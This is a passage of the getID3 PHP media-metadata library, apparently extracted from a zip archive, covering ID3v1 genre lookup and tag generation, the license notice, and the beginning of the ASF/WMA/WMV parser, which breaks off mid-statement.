elseif (substr($preid3v1, 119, 6) == 'LYRICS') { // a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch } else { // APE and Lyrics3 footers not found - assume double ID3v1 $this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes'); $info['avdataend'] -= 128; } } return true; } /** * @param string $str * * @return string */ public static function cutfield($str) { return trim(substr($str, 0, strcspn($str, "\x00"))); } /** * @param bool $allowSCMPXextended * * @return string[] */ public static function ArrayOfGenres($allowSCMPXextended=false) { static $GenreLookup = array( 0 => 'Blues', 1 => 'Classic Rock', 2 => 'Country', 3 => 'Dance', 4 => 'Disco', 5 => 'Funk', 6 => 'Grunge', 7 => 'Hip-Hop', 8 => 'Jazz', 9 => 'Metal', 10 => 'New Age', 11 => 'Oldies', 12 => 'Other', 13 => 'Pop', 14 => 'R&B', 15 => 'Rap', 16 => 'Reggae', 17 => 'Rock', 18 => 'Techno', 19 => 'Industrial', 20 => 'Alternative', 21 => 'Ska', 22 => 'Death Metal', 23 => 'Pranks', 24 => 'Soundtrack', 25 => 'Euro-Techno', 26 => 'Ambient', 27 => 'Trip-Hop', 28 => 'Vocal', 29 => 'Jazz+Funk', 30 => 'Fusion', 31 => 'Trance', 32 => 'Classical', 33 => 'Instrumental', 34 => 'Acid', 35 => 'House', 36 => 'Game', 37 => 'Sound Clip', 38 => 'Gospel', 39 => 'Noise', 40 => 'Alt. Rock', 41 => 'Bass', 42 => 'Soul', 43 => 'Punk', 44 => 'Space', 45 => 'Meditative', 46 => 'Instrumental Pop', 47 => 'Instrumental Rock', 48 => 'Ethnic', 49 => 'Gothic', 50 => 'Darkwave', 51 => 'Techno-Industrial', 52 => 'Electronic', 53 => 'Pop-Folk', 54 => 'Eurodance', 55 => 'Dream', 56 => 'Southern Rock', 57 => 'Comedy', 58 => 'Cult', 59 => 'Gangsta Rap', 60 => 'Top 40', 61 => 'Christian Rap', 62 => 'Pop/Funk', 63 => 'Jungle', 64 => 'Native American', 65 => 'Cabaret', 66 => 'New Wave', 67 => 'Psychedelic', 68 => 'Rave', 69 => 'Showtunes', 70 => 'Trailer', 71 => 'Lo-Fi', 72 => 'Tribal', 73 => 'Acid Punk', 74 => 'Acid Jazz', 75 => 'Polka', 76 => 'Retro', 77 => 'Musical', 78 => 'Rock & Roll', 79 => 'Hard Rock', 80 => 'Folk', 81 => 'Folk/Rock', 82 => 'National Folk', 83 => 'Swing', 84 => 'Fast-Fusion', 85 => 'Bebob', 86 => 'Latin', 87 => 'Revival', 88 => 'Celtic', 89 => 'Bluegrass', 90 => 'Avantgarde', 91 => 'Gothic Rock', 92 => 'Progressive Rock', 93 => 'Psychedelic Rock', 94 => 'Symphonic Rock', 95 => 'Slow Rock', 96 => 'Big Band', 97 => 'Chorus', 98 => 'Easy Listening', 99 => 'Acoustic', 100 => 'Humour', 101 => 'Speech', 102 => 'Chanson', 103 => 'Opera', 104 => 'Chamber Music', 105 => 'Sonata', 106 => 'Symphony', 107 => 'Booty Bass', 108 => 'Primus', 109 => 'Porn Groove', 110 => 'Satire', 111 => 'Slow Jam', 112 => 'Club', 113 => 'Tango', 114 => 'Samba', 115 => 'Folklore', 116 => 'Ballad', 117 => 'Power Ballad', 118 => 'Rhythmic Soul', 119 => 'Freestyle', 120 => 'Duet', 121 => 'Punk Rock', 122 => 'Drum Solo', 123 => 'A Cappella', 124 => 'Euro-House', 125 => 'Dance Hall', 126 => 'Goa', 127 => 'Drum & Bass', 128 => 'Club-House', 129 => 'Hardcore', 130 => 'Terror', 131 => 'Indie', 132 => 'BritPop', 133 => 'Negerpunk', 134 => 'Polsk Punk', 135 => 'Beat', 136 => 'Christian Gangsta Rap', 137 => 'Heavy Metal', 138 => 'Black Metal', 139 => 'Crossover', 140 => 'Contemporary Christian', 141 => 'Christian Rock', 142 => 'Merengue', 143 => 'Salsa', 144 => 'Thrash Metal', 145 => 'Anime', 146 => 'JPop', 147 => 'Synthpop', 148 => 'Abstract', 149 => 'Art Rock', 150 => 'Baroque', 151 => 'Bhangra', 152 => 'Big Beat', 153 => 'Breakbeat', 154 => 'Chillout', 155 => 'Downtempo', 156 => 'Dub', 157 => 'EBM', 158 => 'Eclectic', 159 => 'Electro', 160 => 'Electroclash', 161 => 'Emo', 162 => 'Experimental', 163 => 'Garage', 164 => 'Global', 165 => 'IDM', 166 => 'Illbient', 167 => 'Industro-Goth', 168 => 'Jam Band', 169 => 'Krautrock', 170 => 'Leftfield', 171 => 'Lounge', 172 => 'Math Rock', 173 => 'New Romantic', 174 => 'Nu-Breakz', 175 => 'Post-Punk', 176 => 'Post-Rock', 177 => 'Psytrance', 178 => 'Shoegaze', 179 => 'Space Rock', 180 => 'Trop Rock', 181 => 'World Music', 182 => 'Neoclassical', 183 => 'Audiobook', 184 => 'Audio Theatre', 185 => 'Neue Deutsche Welle', 186 => 'Podcast', 187 => 'Indie-Rock', 188 => 'G-Funk', 189 => 'Dubstep', 190 => 'Garage Rock', 191 => 'Psybient', 255 => 'Unknown', 'CR' => 'Cover', 'RX' => 'Remix' ); static $GenreLookupSCMPX = array(); if ($allowSCMPXextended && empty($GenreLookupSCMPX)) { $GenreLookupSCMPX = $GenreLookup; // http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended // Extended ID3v1 genres invented by SCMPX // Note that 255 "Japanese Anime" conflicts with standard "Unknown" $GenreLookupSCMPX[240] = 'Sacred'; $GenreLookupSCMPX[241] = 'Northern Europe'; $GenreLookupSCMPX[242] = 'Irish & Scottish'; $GenreLookupSCMPX[243] = 'Scotland'; $GenreLookupSCMPX[244] = 'Ethnic Europe'; $GenreLookupSCMPX[245] = 'Enka'; $GenreLookupSCMPX[246] = 'Children\'s Song'; $GenreLookupSCMPX[247] = 'Japanese Sky'; $GenreLookupSCMPX[248] = 'Japanese Heavy Rock'; $GenreLookupSCMPX[249] = 'Japanese Doom Rock'; $GenreLookupSCMPX[250] = 'Japanese J-POP'; $GenreLookupSCMPX[251] = 'Japanese Seiyu'; $GenreLookupSCMPX[252] = 'Japanese Ambient Techno'; $GenreLookupSCMPX[253] = 'Japanese Moemoe'; $GenreLookupSCMPX[254] = 'Japanese Tokusatsu'; //$GenreLookupSCMPX[255] = 'Japanese Anime'; } return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup); } /** * @param string $genreid * @param bool $allowSCMPXextended * * @return string|false */ public static function LookupGenreName($genreid, $allowSCMPXextended=true) { switch ($genreid) { case 'RX': case 'CR': break; default: if (!is_numeric($genreid)) { return false; } $genreid = intval($genreid); // to handle 3 or '3' or '03' break; } $GenreLookup = self::ArrayOfGenres($allowSCMPXextended); return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false); } /** * @param string $genre * @param bool $allowSCMPXextended * * @return string|false */ public static function LookupGenreID($genre, $allowSCMPXextended=false) { $GenreLookup = self::ArrayOfGenres($allowSCMPXextended); $LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre)); foreach ($GenreLookup as $key => $value) { if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) { return $key; } } return false; } /** * @param string $OriginalGenre * * @return string|false */ public static function StandardiseID3v1GenreName($OriginalGenre) { if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) { return self::LookupGenreName($GenreID); } return $OriginalGenre; } /** * @param string $title * @param string $artist * @param string $album * @param string $year * @param int $genreid * @param string $comment * @param int|string $track * * @return string */ public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') { $ID3v1Tag = 'TAG'; $ID3v1Tag .= str_pad(trim(substr($title, 0, 30)), 30, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= str_pad(trim(substr($album, 0, 30)), 30, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= str_pad(trim(substr($year, 0, 4)), 4, "\x00", STR_PAD_LEFT); if (!empty($track) && ($track > 0) && ($track <= 255)) { $ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT); $ID3v1Tag .= "\x00"; if (gettype($track) == 'string') { $track = (int) $track; } $ID3v1Tag .= chr($track); } else { $ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT); } if (($genreid < 0) || ($genreid > 147)) { $genreid = 255; // 'unknown' genre } switch (gettype($genreid)) { case 'string': case 'integer': $ID3v1Tag .= chr(intval($genreid)); break; default: $ID3v1Tag .= chr(255); // 'unknown' genre break; } return $ID3v1Tag; } } PKm"[%,tt license.txtnu[///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich // // available at http://getid3.sourceforge.net // // or https://www.getid3.org // // also https://github.com/JamesHeinrich/getID3 // ///////////////////////////////////////////////////////////////// ***************************************************************** ***************************************************************** getID3() is released under multiple licenses. You may choose from the following licenses, and use getID3 according to the terms of the license most suitable to your project. GNU GPL: https://gnu.org/licenses/gpl.html (v3) https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) getID3 Commercial License: https://www.getid3.org/#gCL (no longer available, existing licenses remain valid) ***************************************************************** ***************************************************************** Copies of each of the above licenses are included in the 'licenses' directory of the getID3 distribution. PKm"[Lmodule.audio-video.asf.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.asf.php // // module for analyzing ASF, WMA and WMV files // // dependencies: module.audio-video.riff.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); class getid3_asf extends getid3_handler { protected static $ASFIndexParametersObjectIndexSpecifiersIndexTypes = array( 1 => 'Nearest Past Data Packet', 2 => 'Nearest Past Media Object', 3 => 'Nearest Past Cleanpoint' ); protected static $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = array( 1 => 'Nearest Past Data Packet', 2 => 'Nearest Past Media Object', 3 => 'Nearest Past Cleanpoint', 0xFF => 'Frame Number Offset' ); protected static $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = array( 2 => 'Nearest Past Media Object', 3 => 'Nearest Past Cleanpoint' ); /** * @param getID3 $getid3 */ public function __construct(getID3 $getid3) { parent::__construct($getid3); // extends getid3_handler::__construct() // initialize all GUID constants $GUIDarray = $this->KnownGUIDs(); foreach ($GUIDarray as $GUIDname => $hexstringvalue) { if (!defined($GUIDname)) { define($GUIDname, $this->GUIDtoBytestring($hexstringvalue)); } } } /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // Shortcuts $thisfile_audio = &$info['audio']; $thisfile_video = &$info['video']; $info['asf'] = array(); $thisfile_asf = &$info['asf']; $thisfile_asf['comments'] = array(); $thisfile_asf_comments = &$thisfile_asf['comments']; $thisfile_asf['header_object'] = array(); $thisfile_asf_headerobject = &$thisfile_asf['header_object']; // ASF structure: // * Header Object [required] // * File Properties Object [required] (global file attributes) // * Stream Properties Object [required] (defines media stream & characteristics) // * Header Extension Object [required] (additional functionality) // * Content Description Object (bibliographic information) // * Script Command Object (commands for during playback) // * Marker Object (named jumped points within the file) // * Data Object [required] // * Data Packets // * Index Object // Header Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for header object - GETID3_ASF_Header_Object // Object Size QWORD 64 // size of header object, including 30 bytes of Header Object header // Number of Header Objects DWORD 32 // number of objects in header object // Reserved1 BYTE 8 // hardcoded: 0x01 // Reserved2 BYTE 8 // hardcoded: 0x02 $info['fileformat'] = 'asf'; $this->fseek($info['avdataoffset']); $HeaderObjectData = $this->fread(30); $thisfile_asf_headerobject['objectid'] = substr($HeaderObjectData, 0, 16); $thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']); if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) { unset($info['fileformat'], $info['asf']); return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}'); } $thisfile_asf_headerobject['objectsize'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8)); $thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4)); $thisfile_asf_headerobject['reserved1'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1)); $thisfile_asf_headerobject['reserved2'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1)); $NextObjectOffset = $this->ftell(); $ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30); $offset = 0; $thisfile_asf_streambitratepropertiesobject = array(); $thisfile_asf_codeclistobject = array(); $StreamPropertiesObjectData = array(); for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) { $NextObjectGUID = substr($ASFHeaderData, $offset, 16); $offset += 16; $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); $NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; switch ($NextObjectGUID) { case GETID3_ASF_File_Properties_Object: // File Properties Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for file properties object - GETID3_ASF_File_Properties_Object // Object Size QWORD 64 // size of file properties object, including 104 bytes of File Properties Object header // File ID GUID 128 // unique ID - identical to File ID in Data Object // File Size QWORD 64 // entire file in bytes. Invalid if Broadcast Flag == 1 // Creation Date QWORD 64 // date & time of file creation. Maybe invalid if Broadcast Flag == 1 // Data Packets Count QWORD 64 // number of data packets in Data Object. Invalid if Broadcast Flag == 1 // Play Duration QWORD 64 // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1 // Send Duration QWORD 64 // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1 // Preroll QWORD 64 // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount // Flags DWORD 32 // // * Broadcast Flag bits 1 (0x01) // file is currently being written, some header values are invalid // * Seekable Flag bits 1 (0x02) // is file seekable // * Reserved bits 30 (0xFFFFFFFC) // reserved - set to zero // Minimum Data Packet Size DWORD 32 // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1 // Maximum Data Packet Size DWORD 32 // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1 // Maximum Bitrate DWORD 32 // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead // shortcut $thisfile_asf['file_properties_object'] = array(); $thisfile_asf_filepropertiesobject = &$thisfile_asf['file_properties_object']; $thisfile_asf_filepropertiesobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_filepropertiesobject['objectid'] = $NextObjectGUID; $thisfile_asf_filepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_filepropertiesobject['objectsize'] = $NextObjectSize; $thisfile_asf_filepropertiesobject['fileid'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_filepropertiesobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']); $thisfile_asf_filepropertiesobject['filesize'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['creation_date'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']); $offset += 8; $thisfile_asf_filepropertiesobject['data_packets'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['play_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['send_duration'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['preroll'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $thisfile_asf_filepropertiesobject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001); $thisfile_asf_filepropertiesobject['flags']['seekable'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002); $thisfile_asf_filepropertiesobject['min_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_filepropertiesobject['max_packet_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_filepropertiesobject['max_bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) { // broadcast flag is set, some values invalid unset($thisfile_asf_filepropertiesobject['filesize']); unset($thisfile_asf_filepropertiesobject['data_packets']); unset($thisfile_asf_filepropertiesobject['play_duration']); unset($thisfile_asf_filepropertiesobject['send_duration']); unset($thisfile_asf_filepropertiesobject['min_packet_size']); unset($thisfile_asf_filepropertiesobject['max_packet_size']); } else { // broadcast flag NOT set, perform calculations $info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000); //$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate']; $info['bitrate'] = getid3_lib::SafeDiv($thisfile_asf_filepropertiesobject['filesize'] * 8, $info['playtime_seconds']); } break; case GETID3_ASF_Stream_Properties_Object: // Stream Properties Object: (mandatory, one per media stream) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object // Object Size QWORD 64 // size of stream properties object, including 78 bytes of Stream Properties Object header // Stream Type GUID 128 // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media // Error Correction Type GUID 128 // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types // Time Offset QWORD 64 // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream // Type-Specific Data Length DWORD 32 // number of bytes for Type-Specific Data field // Error Correction Data Length DWORD 32 // number of bytes for Error Correction Data field // Flags WORD 16 // // * Stream Number bits 7 (0x007F) // number of this stream. 1 <= valid <= 127 // * Reserved bits 8 (0x7F80) // reserved - set to zero // * Encrypted Content Flag bits 1 (0x8000) // stream contents encrypted if set // Reserved DWORD 32 // reserved - set to zero // Type-Specific Data BYTESTREAM variable // type-specific format data, depending on value of Stream Type // Error Correction Data BYTESTREAM variable // error-correction-specific format data, depending on value of Error Correct Type // There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the // stream number isn't known until halfway through decoding the structure, hence it // it is decoded to a temporary variable and then stuck in the appropriate index later $StreamPropertiesObjectData['offset'] = $NextObjectOffset + $offset; $StreamPropertiesObjectData['objectid'] = $NextObjectGUID; $StreamPropertiesObjectData['objectid_guid'] = $NextObjectGUIDtext; $StreamPropertiesObjectData['objectsize'] = $NextObjectSize; $StreamPropertiesObjectData['stream_type'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $StreamPropertiesObjectData['stream_type_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']); $StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']); $StreamPropertiesObjectData['time_offset'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8)); $offset += 8; $StreamPropertiesObjectData['type_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $StreamPropertiesObjectData['error_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $StreamPropertiesObjectData['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $StreamPropertiesObjectStreamNumber = $StreamPropertiesObjectData['flags_raw'] & 0x007F; $StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000); $offset += 4; // reserved - DWORD $StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']); $offset += $StreamPropertiesObjectData['type_data_length']; $StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']); $offset += $StreamPropertiesObjectData['error_data_length']; switch ($StreamPropertiesObjectData['stream_type']) { case GETID3_ASF_Audio_Media: $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); $thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr'); $audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16)); unset($audiodata['raw']); $thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio); break; case GETID3_ASF_Video_Media: $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); $thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr'); break; case GETID3_ASF_Command_Media: default: // do nothing break; } $thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData; unset($StreamPropertiesObjectData); // clear for next stream, if any break; case GETID3_ASF_Header_Extension_Object: // Header Extension Object: (mandatory, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object // Object Size QWORD 64 // size of Header Extension object, including 46 bytes of Header Extension Object header // Reserved Field 1 GUID 128 // hardcoded: GETID3_ASF_Reserved_1 // Reserved Field 2 WORD 16 // hardcoded: 0x00000006 // Header Extension Data Size DWORD 32 // in bytes. valid: 0, or > 24. equals object size minus 46 // Header Extension Data BYTESTREAM variable // array of zero or more extended header objects // shortcut $thisfile_asf['header_extension_object'] = array(); $thisfile_asf_headerextensionobject = &$thisfile_asf['header_extension_object']; $thisfile_asf_headerextensionobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_headerextensionobject['objectid'] = $NextObjectGUID; $thisfile_asf_headerextensionobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_headerextensionobject['objectsize'] = $NextObjectSize; $thisfile_asf_headerextensionobject['reserved_1'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_headerextensionobject['reserved_1_guid'] = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']); if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) { $this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')'); //return false; break; } $thisfile_asf_headerextensionobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) { $this->warning('header_extension_object.reserved_2 ('.$thisfile_asf_headerextensionobject['reserved_2'].') does not match expected value of "6"'); //return false; break; } $thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); $offset += 4; $thisfile_asf_headerextensionobject['extension_data'] = substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']); $unhandled_sections = 0; $thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections); if ($unhandled_sections === 0) { unset($thisfile_asf_headerextensionobject['extension_data']); } $offset += $thisfile_asf_headerextensionobject['extension_data_size']; break; case GETID3_ASF_Codec_List_Object: // Codec List Object: (optional, one only) // Field Name Field Type Size (bits) // Object ID GUID 128 // GUID for Codec List object - GETID3_ASF_Codec_List_Object // Object Size QWORD 64 // size of Codec List object, including 44 bytes of Codec List Object header // Reserved GUID 128 // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6 // Codec Entries Count DWORD 32 // number of entries in Codec Entries array // Codec Entries array of: variable // // * Type WORD 16 // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec // * Codec Name Length WORD 16 // number of Unicode characters stored in the Codec Name field // * Codec Name WCHAR variable // array of Unicode characters - name of codec used to create the content // * Codec Description Length WORD 16 // number of Unicode characters stored in the Codec Description field // * Codec Description WCHAR variable // array of Unicode characters - description of format used to create the content // * Codec Information Length WORD 16 // number of Unicode characters stored in the Codec Information field // * Codec Information BYTESTREAM variable // opaque array of information bytes about the codec used to create the content // shortcut $thisfile_asf['codec_list_object'] = array(); /** @var mixed[] $thisfile_asf_codeclistobject */ $thisfile_asf_codeclistobject = &$thisfile_asf['codec_list_object']; $thisfile_asf_codeclistobject['offset'] = $NextObjectOffset + $offset; $thisfile_asf_codeclistobject['objectid'] = $NextObjectGUID; $thisfile_asf_codeclistobject['objectid_guid'] = $NextObjectGUIDtext; $thisfile_asf_codeclistobject['objectsize'] = $NextObjectSize; $thisfile_asf_codeclistobject['reserved'] = substr($ASFHeaderData, $offset, 16); $offset += 16; $thisfile_asf_codeclistobject['reserved_guid'] = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']); if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) { $this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}'); //return false; break; } $thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); if ($thisfile_asf_codeclistobject['codec_entries_count'] > 0) { $thisfile_asf_codeclistobject['codec_entries'] = array(); } $offset += 4; for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) { // shortcut $thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array(); $thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter]; $thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']); $CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength); $offset += $CodecNameLength; $CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength); $offset += $CodecDescriptionLength; $CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); $offset += 2; $thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength); $offset += $CodecInformationLength; if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) { $this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"'); } else { list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description'])); $thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']); if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) { $thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000; } //if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) { if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) { //$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate']; $thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate']; } $AudioCodecFrequency = (int) trim(str_replace('kHz', '', 